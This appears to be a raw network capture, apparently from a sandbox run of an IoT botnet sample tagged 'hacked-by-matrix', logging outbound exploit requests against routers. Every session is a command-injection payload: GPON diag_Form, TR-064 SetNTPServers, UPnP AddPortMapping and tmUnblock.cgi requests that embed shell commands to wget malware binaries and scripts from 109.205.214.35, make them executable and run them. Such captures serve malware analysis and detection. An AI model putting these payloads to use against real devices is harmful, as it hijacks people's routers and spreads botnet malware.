Mar 21, 2024 05:26:11.241929054 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:11.413628101 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:26:11 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.23	46366	179.153.183.144	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.317553043 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.23	35164	34.43.23.196	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.345406055 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:11.669976950 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.23	53930	44.0.1.138	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.451678991 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:26:11.985568047 CET	536	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalC
Mar 21, 2024 05:26:13.038284063 CET	536	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalC
Mar 21, 2024 05:26:15.214098930 CET	536	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalC

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.23	33828	5.22.89.147	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.610686064 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:12.495481014 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:14.287502050 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:18.031495094 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:25.196540117 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:39.530519962 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:08.454483986 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.23	45836	172.93.105.79	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.787302971 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.23	36114	172.64.229.173	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.787328005 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.23	33834	5.22.89.147	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:11.861854076 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:12.623518944 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:14.159271955 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:17.261624098 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:23.404756069 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
